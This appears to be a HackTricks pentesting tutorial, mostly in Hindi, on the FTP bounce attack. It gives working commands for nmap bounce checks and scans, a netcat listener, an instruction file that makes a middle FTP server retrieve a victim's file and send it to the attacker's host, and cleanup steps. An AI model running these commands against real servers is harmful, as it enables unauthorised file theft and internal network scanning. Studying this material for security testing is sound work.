FTP Bounce Download 2 of FTP File

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

सारांश

यदि आपके पास किसी bounce FTP server तक पहुँच है, तो आप उसे किसी another FTP server (जहाँ आपके पास कुछ credentials हैं) से फ़ाइलें अनुरोध करने के लिए कह सकते हैं और उस फ़ाइल को your own server पर डाउनलोड कर सकते हैं।

आवश्यकताएँ

  • FTP Middle server में मान्य FTP credentials
  • Victim FTP server में मान्य FTP credentials
  • दोनों सर्वर accept the PORT command (bounce FTP attack)
  • आप write कर सकते हों FTP Middle server के किसी डायरेक्टरी के अंदर
  • Middle server के पास Victim FTP Server के अंदर आपसे अधिक more access हो

कदम

  1. अपने your own FTP server से कनेक्ट करें और कनेक्शन को passive (pasv command) बनाएं ताकि वह उस डायरेक्टरी में listens करे जहाँ victim service फ़ाइल भेजेगा।
  2. FTP Middle server जो फ़ाइल Victim server को भेजेगा उसे तैयार करें (यानी exploit script). यह फ़ाइल plain text होगी जिसमें Victim server के खिलाफ authenticate करने, directory बदलने और आपकी own server पर फ़ाइल डाउनलोड करने के लिए आवश्यक commands होंगे।
  3. FTP Middle Server से कनेक्ट करें और पिछली फ़ाइल upload करें।
  4. FTP Middle server को Victim server के साथ establish a connection करने और exploit फ़ाइल भेजने के लिए कहें।
  5. अपने own FTP server में फ़ाइल capture करें।
  6. FTP Middle server से exploit फ़ाइल delete करें।

कमजोर bounce hosts के लिए त्वरित जाँच

  • Nmap अभी भी FTP bounce checks को सपोर्ट करता है। संभावित middle server को सत्यापित करने के लिए उदाहरण:
nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
# or directly attempt a bounce scan
nmap -Pn -p80 -b user:pass@<middle_ftp_ip>:21 <internal_target_ip>

यदि सर्वर third‑party PORT मानों को अस्वीकार करता है तो scan विफल होगा; कुछ embedded/legacy printers, NAS और appliance FTP daemons अभी भी इसकी अनुमति देते हैं।

दूसरे FTP डाउनलोड को ऑटोमेट करना

नीचे एक आधुनिक तरीका दिया गया है जिससे आप एक कमजोर मध्य FTP सर्वर के माध्यम से फ़ाइल निकाल सकते हैं।

  1. अपने attack box पर एक passive listener खोलें (कोई भी TCP sink काम करेगा):
nc -lvnp 2121 > loot.bin  # or run a small pyftpdlib server
  1. अपनी IP को A,B,C,D और पोर्ट P को p1,p2 के रूप में नोट करें (p1 = P/256, p2 = P%256)।

  2. मध्य सर्वर द्वारा victim पर replay की जाने वाली instruction फ़ाइल बनाएं:

cat > instrs <<'EOF'
USER <victim_user>
PASS <victim_pass>
CWD /path/inside/victim
TYPE I
PORT A,B,C,D,p1,p2
RETR secret.tar.gz
QUIT
EOF
# Add padding so the control channel stays open on picky daemons
dd if=/dev/zero bs=1024 count=60 >> instrs
  1. मध्य सर्वर से अपलोड करें और trigger करें (classic proxy FTP):
ftp -n <middle_ftp> <<'EOF'
user <middle_user> <middle_pass>
put instrs
PORT <victim_ip_with_commas>,0,21
RETR instrs
QUIT
EOF
  1. अपने listener से फ़ाइल प्राप्त करें (loot.bin)।
  2. मध्य सर्वर पर अपलोड की गई instrs फ़ाइल साफ़ करें

नोट्स:

  • Padding (dd ...) कंट्रोल कनेक्शन को RETR समाप्त होने से पहले बंद होने से रोकता है (large TCP window issue जिसे classic writeups में चर्चा की गई है)।
  • कोई भी सेवा जो listen and dump TCP कर सके FTP PASV सॉकेट की जगह ले सकती है (उदा., socat -u TCP-LISTEN:2121,fork - > loot.bin)।
  • यदि मध्य सर्वर privileged ports को प्रतिबंधित करता है, तो PORT में उच्च पोर्ट का उपयोग करें और अपने listener को उसी अनुसार समायोजित करें।

अतिरिक्त तरकीबें

  • जब file relay ब्लॉक हो, तो internal hosts को port-scan करने के लिए एक bounceable FTP server का उपयोग करें:
nmap -Pn -p22,80,445 -b anonymous:<email>@<middle_ftp> <internal_ip>
  • कुछ आधुनिक WAF/IDS (उदा., Juniper IPS) विशेष रूप से FTP:EXPLOIT:BOUNCE-ATTACK के लिए signatures भेजते हैं; noisy payloads या padding के अभाव से वे ट्रिगर हो सकते हैं।
  • जब मध्य सर्वर “PORT to same host” प्रतिबंध लागू करता है, तो अपना listener मध्य सर्वर पर ही रखें (यदि आपके पास write/execute है) और बाद में कैप्चर की गई फ़ाइल को फॉरवर्ड करें।

अधिक विस्तृत old-school walkthrough के लिए देखें: http://www.ouah.org/ftpbounce.html

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें